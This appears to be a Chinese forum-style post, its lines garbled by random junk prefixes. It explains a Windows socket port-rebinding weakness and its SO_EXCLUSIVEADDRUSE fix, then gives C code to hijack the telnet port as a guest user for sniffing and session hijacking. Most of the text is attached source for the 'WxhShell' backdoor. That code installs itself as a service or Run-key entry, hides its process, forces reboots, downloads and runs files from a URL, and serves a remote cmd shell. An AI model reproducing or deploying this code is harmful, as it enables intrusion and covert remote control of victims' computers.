在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xqC+0{]y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Sp7ld7c +<xQM h8 saddr.sin_family = AF_INET;
}Z{=|rVE LEW'G"+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
*g y{] $ "E).j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0G7K8`a u}!@ ,/) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Jd5:{{Lb A,\6nO67 这意味着什么?意味着可以进行如下的攻击:
k$H%.l;E )Psb>'X 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%^I88,$&L {Zh>mHW3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
G
16!eDMt 6&bY} i^K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
H2
$GIY %Eb%V ($ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
i/~1F_ Z9575CI< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9:`(Q3Ei *Ho/ZYj3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(T!9SU .C2TQ:B, . 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
kGd<5vCs h~(G$':^ #include
;QW3CEaUq #include
8zA=;~GHP #include
?;vgUO #include
TjQvAkT DWORD WINAPI ClientThread(LPVOID lpParam);
,WJH}(h"D int main()
io#&o;M< {
TjHwjRa WORD wVersionRequested;
,0E{h}( DWORD ret;
UW9?p}F WSADATA wsaData;
3}@_hS"^8 BOOL val;
iC W*]U SOCKADDR_IN saddr;
6oLwfTy SOCKADDR_IN scaddr;
(9<guv int err;
Q$:;
>nw++[K_ saddr.sin_port = htons(23);
\0mb
3Q' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~(pmLZ<GW} {
lY{FSGp printf("error!socket failed!\n");
'v\L @" return -1;
7zHh@ B:] }
"TUe%o val = TRUE;
Kx=4~ //SO_REUSEADDR选项就是可以实现端口重绑定的
:$_6SQ<? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
H}H7lO {
>m#e:[N printf("error!setsockopt failed!\n");
}';D]c return -1;
m=:4`_0Q }
ukv tQz) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
/}Lt,9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
UK1_0tp]x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
] )F7) y_HN6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
T"&)&"W*U {
Pfm_@'8 ret=GetLastError();
^Ve<>b printf("error!bind failed!\n");
esHQoIhd return -1;
?{U
m }
0 H0-U'l listen(s,2);
Gg~QAsks
while(1)
zfwS {
&BtK($ caddsize = sizeof(scaddr);
@#P,d5^G
//接受连接请求
vjQb%/LWl sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
?Q-h n:F) if(sc!=INVALID_SOCKET)
Kh4$ wwn {
+<}0|Xl& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
m!W3Cwz\& if(mt==NULL)
PH*\AZJCl {
*J+_|_0nlW printf("Thread Creat Failed!\n");
f]G>(V=i break;
!^v5-xO?rP }
o/C\d$i' }
{q<03d~9|G CloseHandle(mt);
zOV=9"~{ }
j:}D Bk closesocket(s);
H-3Eo#b# WSACleanup();
B%KG3] return 0;
6<N5_1 }
?W(6 DWORD WINAPI ClientThread(LPVOID lpParam)
lip[n;Ir> {
8[|UgI,>z SOCKET ss = (SOCKET)lpParam;
"*;;H^d SOCKET sc;
/sr 2mt-Q unsigned char buf[4096];
u(OW gbA3 SOCKADDR_IN saddr;
HLBkR>e long num;
?%VI{[y#> DWORD val;
WWL4`s DWORD ret;
jS;J:$>^ //如果是隐藏端口应用的话,可以在此处加一些判断
}?&k a$rI //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y!WG)u5 saddr.sin_family = AF_INET;
,R$u?c0>'& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
P7
PB t saddr.sin_port = htons(23);
OiAJ[L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rU;RGz6} {
R(-<BtM!- printf("error!socket failed!\n");
5C"QE8R o return -1;
BW"&6t#kA }
N`E-+9L) val = 100;
xl"HotsX-x if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(YY~{W$w( {
,=aJVb=C ret = GetLastError();
ifo7%XPcg return -1;
5OO'v07b }
RJy=pNztm if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
VR {
]r3Kg12Mi ret = GetLastError();
S}f?.7 return -1;
:5/Uh/sX }
2 o#,kGd if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>6oOZbUY0 {
|A%<Z( printf("error!socket connect failed!\n");
:QWq"cBem closesocket(sc);
xr7+$:>a closesocket(ss);
<" @zn return -1;
JT9N!CGZ }
xAu/ while(1)
bWZbG{Y. {
W5^.-B,(K //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~+<olss_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
x+]!m/ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
BC,.^"fA6 num = recv(ss,buf,4096,0);
t+?P^Ok if(num>0)
T~fmk
f$ send(sc,buf,num,0);
%+ FG ,d else if(num==0)
[ >^PRs break;
,-+"^> num = recv(sc,buf,4096,0);
j
F-v%? if(num>0)
X[2[!)Rk send(ss,buf,num,0);
1xU3#b&2tC else if(num==0)
6{,HiY break;
SlSM+F }
k|BHnj closesocket(ss);
vA)O{W\o closesocket(sc);
c8Q]!p+Yp return 0 ;
cEe?*\G }
p#SY /KIw U$H@ jJ* #q3l!3\mW ==========================================================
k z"3ZDR *WE1;msr 下边附上一个代码,,WXhSHELL
3x~{QG5Gn 4t/&. ==========================================================
#{9G sD |!q$_at #include "stdafx.h"
=pA
IvU ^E6d`2w- #include <stdio.h>
QQe;1O #include <string.h>
KluA #include <windows.h>
uY<
H#k #include <winsock2.h>
| 3+m%;X #include <winsvc.h>
83cW=?UgA #include <urlmon.h>
XhdSFxW} xyH/e*a #pragma comment (lib, "Ws2_32.lib")
8F)G7
H, #pragma comment (lib, "urlmon.lib")
p"*y58 CC;! <km #define MAX_USER 100 // 最大客户端连接数
'cNKjL; #define BUF_SOCK 200 // sock buffer
qzFQEepso #define KEY_BUFF 255 // 输入 buffer
NNG}M(/V _MWM;f`b #define REBOOT 0 // 重启
j#0j)k2Q #define SHUTDOWN 1 // 关机
7ZUiY y<XlRTy[} #define DEF_PORT 5000 // 监听端口
+%N
KQ'49I ;NV'W] #define REG_LEN 16 // 注册表键长度
L:M0pk{T #define SVC_LEN 80 // NT服务名长度
V@d)?T PuxK?bwC // 从dll定义API
x90jw$\%7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*?yJkJ" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
1! p/6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Px5t,5xT8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'SLE;_TD \Hqc9&0 // wxhshell配置信息
n:U>Fj>q struct WSCFG {
0Q5 93F int ws_port; // 监听端口
nK3k]gLc{ char ws_passstr[REG_LEN]; // 口令
7&O`p(j int ws_autoins; // 安装标记, 1=yes 0=no
)4xu^=N&as char ws_regname[REG_LEN]; // 注册表键名
WxbsD S; char ws_svcname[REG_LEN]; // 服务名
6|J'>) char ws_svcdisp[SVC_LEN]; // 服务显示名
7GZgu$' char ws_svcdesc[SVC_LEN]; // 服务描述信息
I8H%=Kb?9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
IMQ]1uq0$ int ws_downexe; // 下载执行标记, 1=yes 0=no
*m+5Pr`7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
U-0#0} _ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
HNa]H;-+5 Pw@olG'Ah };
BO.dz06(Rw f>$h@/-* // default Wxhshell configuration
&~B5.sppnB struct WSCFG wscfg={DEF_PORT,
]%RNA:(F' "xuhuanlingzhe",
P&*sB%B 1,
lH|LdlX "Wxhshell",
TO;.eN!sv "Wxhshell",
+TeFt5[)h "WxhShell Service",
Fk^3a'/4KJ "Wrsky Windows CmdShell Service",
lEPAP|~uw "Please Input Your Password: ",
{OT:3SS7 1,
j1Yq5`ia "
http://www.wrsky.com/wxhshell.exe",
7.<^j[? "Wxhshell.exe"
;]CVb`d };
GR'Ti*Qi r)1Z(tl // 消息定义模块
'ul\Q`N3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
SQE[m9v char *msg_ws_prompt="\n\r? for help\n\r#>";
,6<" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(}!C4S3# char *msg_ws_ext="\n\rExit.";
rFJ[dz char *msg_ws_end="\n\rQuit.";
%-;bu| char *msg_ws_boot="\n\rReboot...";
yy2Ie char *msg_ws_poff="\n\rShutdown...";
S"snB/ char *msg_ws_down="\n\rSave to ";
,D80/2U^ =OTm2:j#yQ char *msg_ws_err="\n\rErr!";
i}TwOy<4s char *msg_ws_ok="\n\rOK!";
xPmN},i'R$ BOf1J1 char ExeFile[MAX_PATH];
F.q|x|9j int nUser = 0;
z&nZ<ih
HANDLE handles[MAX_USER];
7N2\8kP int OsIsNt;
RE46k`44 6R}j-1
<n SERVICE_STATUS serviceStatus;
a0Oe:]mo\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
j?(!^ _!m 0?bA$y // 函数声明
9w;?- int Install(void);
Zu<]bv int Uninstall(void);
s[3fqdLP& int DownloadFile(char *sURL, SOCKET wsh);
,[48Mspp int Boot(int flag);
/jD-\,:L} void HideProc(void);
i4Z4xTn int GetOsVer(void);
Mxz,wfaH> int Wxhshell(SOCKET wsl);
L x|',6S void TalkWithClient(void *cs);
Kf7WcJ4b int CmdShell(SOCKET sock);
=N.!k Vkl int StartFromService(void);
sDiHXDI_m int StartWxhshell(LPSTR lpCmdLine);
FT\?:wpKa h:qHR]
8dZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
X=p"5hhfn VOID WINAPI NTServiceHandler( DWORD fdwControl );
$v;dV@tB #]KgUc5B // 数据结构和表定义
8IY19>4'5J SERVICE_TABLE_ENTRY DispatchTable[] =
yOHXY& {
LhJ a)jFQ {wscfg.ws_svcname, NTServiceMain},
Lue|Plm[y {NULL, NULL}
?;7b*Z };
b#Kq[} gp< =Gmd // 自我安装
s_wUM)! int Install(void)
J?712=9 {
2P~)I)3V char svExeFile[MAX_PATH];
sy<iKCM\ HKEY key;
ahIE;Y\j' strcpy(svExeFile,ExeFile);
mVH,HqsXa H:oQ // 如果是win9x系统,修改注册表设为自启动
XQ;I,\m if(!OsIsNt) {
['Z{@9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<O857j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`6w#8} RegCloseKey(key);
(6xDu.u?A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
iQ`]ms+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
DvT+`X?R RegCloseKey(key);
/8 CY0Ey return 0;
Ky9W/dCR }
!sIwFv) }
K} x/ BhE+ }
yqcM(,0] else {
tEhr lH1g[ )) // 如果是NT以上系统,安装为系统服务
()|3
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Enj_tJs if (schSCManager!=0)
.|]IwyD
& {
f]_mzF=& SC_HANDLE schService = CreateService
yFeeG3n3 (
Q-('5a19J schSCManager,
:1<~}*B@{ wscfg.ws_svcname,
M9"Sgb`g wscfg.ws_svcdisp,
Pz~q%J SERVICE_ALL_ACCESS,
H7e / SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?JqjYI{$ SERVICE_AUTO_START,
v}`1)BUeF SERVICE_ERROR_NORMAL,
9m!7|(QV svExeFile,
|cTpw1%I~ NULL,
9O;vUy) NULL,
G=$}5; t NULL,
F'BdQk3o NULL,
CIQwl 6H9 NULL
/t{=8v~ );
\|q-+4]@, if (schService!=0)
A@ VaaX {
@l>Xnqx) CloseServiceHandle(schService);
8R/
*6S=& CloseServiceHandle(schSCManager);
w~-X>~ } strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
( pD7 strcat(svExeFile,wscfg.ws_svcname);
.Ty,_3+{#p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Vipp /WV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~%P3Pp RegCloseKey(key);
e[4V%h return 0;
j.&
;c'V$. }
>h7$v~nra }
SfDQ;1? CloseServiceHandle(schSCManager);
VK4/82@5 }
B)a@fmp"a }
TG]}X\c+V| nEVbfNo0 return 1;
(Jpm
K O }
lPS*-p#IZ
|Ylg$?,9* // 自我卸载
)F
E8D int Uninstall(void)
0M\NS$u(Y {
P`2&*2, HKEY key;
>EBC 2WJ K -E`y if(!OsIsNt) {
gb_X?j%p7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ADBpX> RegDeleteValue(key,wscfg.ws_regname);
41'EA\V RegCloseKey(key);
eBvW#Hzp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kH2oK:lN RegDeleteValue(key,wscfg.ws_regname);
m<FK;
RegCloseKey(key);
C1ZyB"{
return 0;
o*;2mFP }
nP
u`;no }
+2yF|/WW# }
u:5IjOb2^ else {
$3:X+X \_>?V5( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@LC~*_y if (schSCManager!=0)
UT;4U;a,m {
}} # be SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
dJE`9$jN if (schService!=0)
%yhI;M^ {
>;}]pI0T if(DeleteService(schService)!=0) {
|D(&w+( CloseServiceHandle(schService);
||f vKyKW> CloseServiceHandle(schSCManager);
Q
3X
return 0;
cuMc*i$w! }
j!CU CloseServiceHandle(schService);
TU-c9"7M~ }
MA"#rOcP CloseServiceHandle(schSCManager);
eaxfn]gV }
2:~cJk{ }
/=ACdJ \bRy(Z) return 1;
2YluJ:LN }
ex0oAt^ `{L{wJ:&a // 从指定url下载文件
Z fqQ{_ int DownloadFile(char *sURL, SOCKET wsh)
L6 kZ2-6 {
@ AggznA8 HRESULT hr;
O(Td:Zdp char seps[]= "/";
'2xcce# char *token;
wzbz}P> char *file;
_f66>a< char myURL[MAX_PATH];
)^(P@D.L char myFILE[MAX_PATH];
A`Q
>h{ v*Xk WH5 strcpy(myURL,sURL);
uZ<%kV1B token=strtok(myURL,seps);
,| <jjq) while(token!=NULL)
-[<vYxX:h: {
K+-z Y[3 file=token;
}M?|,N6 token=strtok(NULL,seps);
b_ZNI0Hp@ }
t#{x?cF *{Yi}d@h( GetCurrentDirectory(MAX_PATH,myFILE);
R@OSqEnr strcat(myFILE, "\\");
PJ0Jjoh"Y strcat(myFILE, file);
6."PS4}: send(wsh,myFILE,strlen(myFILE),0);
i<Q&
D\Pv send(wsh,"...",3,0);
OMi02tSm hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
p&QmIX]BZ if(hr==S_OK)
W1;=J^<&1 return 0;
C|9[Al else
=!YP$hf Y return 1;
pOX$4$VR< eL_^: - }
J+0/ :00( )FV6, // 系统电源模块
1O23"o5= int Boot(int flag)
s9G)Bd 8 {
oFb\TiLu HANDLE hToken;
&b!vWX1N TOKEN_PRIVILEGES tkp;
L2<+#O# gU u&Vy\ if(OsIsNt) {
=#b4c> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
QYH."7X
> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
t z"5+uuu tkp.PrivilegeCount = 1;
(;C$gnr.C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2c"/QT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
A0UV+ -PP if(flag==REBOOT) {
5d%_Wb' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8B_0!U&] return 0;
"wC0eDf }
[#7D~Lx/ else {
F68},N>vr@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
i]LU4y%' return 0;
8 NxUx+] }
5"$e=y/ }
G 2!}R else {
48H5_9>: if(flag==REBOOT) {
loR,XW7z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
)CFk`57U return 0;
+jv}\Jt }
G2=F8kL else {
D8gQRQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
?U}sQ;c$ return 0;
vwm|I7/w }
y9=t;qH@| }
8?A@/ o@Scz!"g return 1;
U.Pa7tn }
D xe-XKNc. -|6V}wHg~ // win9x进程隐藏模块
KBd7|,j void HideProc(void)
0&.LBv8 {
zoR,RBU6 ! Zno[R HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
QjehDwt| if ( hKernel != NULL )
c5Z;%v |y {
;_>s0rUV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
b=V)?"e- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CM`x>J FreeLibrary(hKernel);
RA#\x. }
{bW"~_6} qw6EP C return;
UIO6|*ka }
Z@<q/2).| }m9S(Wal // 获取操作系统版本
f:n] Exsy int GetOsVer(void)
qK<aZ%V {
FrgW7`s[A OSVERSIONINFO winfo;
@=02 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yBr$ 0$ GetVersionEx(&winfo);
Q~x*bMb. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
j@%K*Gb` return 1;
A"Tc^Ij else
(r.$%[,.< return 0;
V#p G; , }
j7QBU 8W(<q|t // 客户端句柄模块
*K]>} int Wxhshell(SOCKET wsl)
eUX@9eML {
'~ jy SOCKET wsh;
.a
~s_E struct sockaddr_in client;
9m%7dsv DWORD myID;
e@='Q H Z}]:x
`fXd while(nUser<MAX_USER)
pA*D/P- {
zfk'>_' int nSize=sizeof(client);
jXc5fXO
N wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
PpX{+^z-% if(wsh==INVALID_SOCKET) return 1;
_bN))9
3 <1ztj#B handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!O 0ZD4/{4 if(handles[nUser]==0)
34"{rMbQ closesocket(wsh);
?q+8 /2 else
:7HVBH nUser++;
~Da
>{zHt }
'?&B5C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'e+-,CGdY\ {LR#(q$1 return 0;
0S)"Q^6ny }
Hj}g1"RA MsN2A6|33 // 关闭 socket
aL_;`@4 void CloseIt(SOCKET wsh)
BZ]&uD|f
{
sg'Y4 closesocket(wsh);
k@'?"CP\Xq nUser--;
@\x,;!N@ ExitThread(0);
&6|6J1c8 }
\#h})` `DU'wB
// 客户端请求句柄
Bbn832iMUY void TalkWithClient(void *cs)
#o(?g-3 {
*!-}lc^4 fJSV)\e0 SOCKET wsh=(SOCKET)cs;
fS;m+ D!j@ char pwd[SVC_LEN];
avYh\xZ char cmd[KEY_BUFF];
n?TO!5RZK char chr[1];
; Xnk+ int i,j;
mSVX4XW< `<]P"G while (nUser < MAX_USER) {
DzX6U[= v.~Nv@+kR if(wscfg.ws_passstr) {
jgZX~D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I1eb31< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
OF<[Nh\. //ZeroMemory(pwd,KEY_BUFF);
-y7l?N5F> i=0;
ex;Yn{4 while(i<SVC_LEN) {
s+OvS9et_ NKIk d // 设置超时
'ugR!o1 fd_set FdRead;
BP7<^`i& struct timeval TimeOut;
yKX:Z4I/ FD_ZERO(&FdRead);
vZ1D3ytfG FD_SET(wsh,&FdRead);
s5_1}KKCs TimeOut.tv_sec=8;
^^j|0qshL TimeOut.tv_usec=0;
J8`1V`$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
tA;ZW2$# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
bKZAJLnd (+]Ig> t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
jS5t?0 pwd
=chr[0]; f"}0j|Gg
if(chr[0]==0xd || chr[0]==0xa) { ;I0yQlx|U
pwd=0; a8lo!e9q
break; 'xu7AKpU)
} ul5::
i++; 7+A-7ci
} S%a}ip&
%>x0*T$$
// 如果是非法用户,关闭 socket .q|xMS}4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !T&u2=`D
} _3FMQY(
p!rGPyGC
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >E2WZHzd2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hsux>+Q
%Pt[3>
while(1) { unbcz{&Hb[
Ay[9k=q]
ZeroMemory(cmd,KEY_BUFF); [\w>{
`qYc#_ELv
// 自动支持客户端 telnet标准 CM@"lV_
j=0; 6P/9Vh j'
while(j<KEY_BUFF) { k^vmRe<lk
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OM.(g%2
cmd[j]=chr[0]; ,rvZW}=
if(chr[0]==0xa || chr[0]==0xd) { MZhJ,km)
cmd[j]=0; * Kp ^al
break; <T=o]M$
} sVZ}nq{
j++;
# 8-P
} 6=[ PJM
(t]R#2{
// 下载文件 '
m#Ymp
if(strstr(cmd,"http://")) { '&o>
%V
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]>]H:NEq
if(DownloadFile(cmd,wsh)) im^I9G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 ^-b}
else iaq:5||,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ug[F3J|Mu
} p_kTLNZd9
else { 9BgQoK@
rqG6Ll`=+
switch(cmd[0]) { ::Ve ,-0
n$\6}\k
// 帮助 KcMzZ!d7m
case '?': { Lh5+fk~i~8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l<+,(E=
break; <P
Z\qE*+y
} _ZvX" {y~
// 安装 XQ?)
case 'i': { 4QN6BZJ5
if(Install()) C J}4V!;|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =*O9)$b
else O'?lW~CD.>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M3xi 0/.
break; )-6[Bw
} wE=8jl*
// 卸载 C ^ k3* N
case 'r': { v(WL 3[y;
if(Uninstall()) u>-uRz<)t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rBL_]\$7}
else D/!G]hx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :O2v0Kx
break; )-7(Hv1
} ?(XX
// 显示 wxhshell 所在路径 UW~tS
case 'p': { JO;`Kz_$
char svExeFile[MAX_PATH]; TTjjyZ@
strcpy(svExeFile,"\n\r"); )}k`X<~k
strcat(svExeFile,ExeFile); >?Y3WPB<F
send(wsh,svExeFile,strlen(svExeFile),0); !-Tmu
break; dIe 6:s
} cVt$#A)
// 重启 "Mu$3w
case 'b': { .cnw?EI
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E"vi+'(v
if(Boot(REBOOT)) ]{ l
O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Q%19f3,6
else { ~s^6Q#Z9|
closesocket(wsh); ), x3tTR
ExitThread(0); =I*ZOE3n
} B?>#cpWj
break; P<w>1
=
} E9NGdp&-Ah
// 关机 mm~o%1|WR
case 'd': { t3kh]2t
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |x~ei_x7.p
if(Boot(SHUTDOWN)) LB 5EGw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b+fy&rk@-
else { >Sl:Z ,g;
closesocket(wsh); Sv[_BP\^h
ExitThread(0); XcW3IO
} 7.=s1~p
break; "B{xC}Tw
} P)
0=@{(
// 获取shell +vY`?k`
case 's': { jYssz4)tp
CmdShell(wsh); F_
lj>;}a5
closesocket(wsh); (inwKRH
ExitThread(0); v6(l#,
break; gl4
f9Ff
} )e$-B]>7z
// 退出 `rFGSq$9
case 'x': { bqLYF[#T
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qQ\hUii
CloseIt(wsh); }z%/6`7)|
break; a[OLS+zf!P
} 6j.(l4}
// 离开 5^R#e(mr
case 'q': { rAi!'vIE
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &S`'o%B
closesocket(wsh); :1Yd;%>92
WSACleanup(); L
~'N6
exit(1); p~VW3u]
break; YRX2^v ^[
} |r!Qhb.!
} ;C@^wI
} h.0&)t\q"
dtXJ<1:
// 提示信息 dEl3?~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D+nj[8y
} GeR-k9
} :'Kx?Es
F973U
return; X_yU"U
} :BiR6>1:
ymJw{&^am
// shell模块句柄 Cl){sP=8W
int CmdShell(SOCKET sock) Yl3PZ*#@ Q
{ C F 0IP
STARTUPINFO si; /-9+(
ZeroMemory(&si,sizeof(si)); 'wHkE/83
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {}2p1-(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k:yu2dQh
PROCESS_INFORMATION ProcessInfo; S~`AnX3!
char cmdline[]="cmd"; z:?
<aT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {dH<Un(4Z
return 0; Z4tq&^ :c=
} <JuJ`t
3S21DC@Y
// 自身启动模式 xVo)!83+Q
int StartFromService(void) [Cr~gd+q
{ ^qy-el
typedef struct _A~gqOe
{ E^ti!4{<
DWORD ExitStatus; n Fn`>kQ
DWORD PebBaseAddress; FK('E3PG
DWORD AffinityMask; tAn6pGp
DWORD BasePriority; y.NArN|%
ULONG UniqueProcessId; %HS!^j3C%
ULONG InheritedFromUniqueProcessId; Q(Y,p`>
} PROCESS_BASIC_INFORMATION; `^Sq>R!;
Z0@ImhejuB
PROCNTQSIP NtQueryInformationProcess; soCHwiE
=5#Jsn?U
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c.> (/
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fXQRsL8
]
TniKH(w/
HANDLE hProcess; `cRB!w=KHV
PROCESS_BASIC_INFORMATION pbi; -w0>4JDs
y`dzo`f
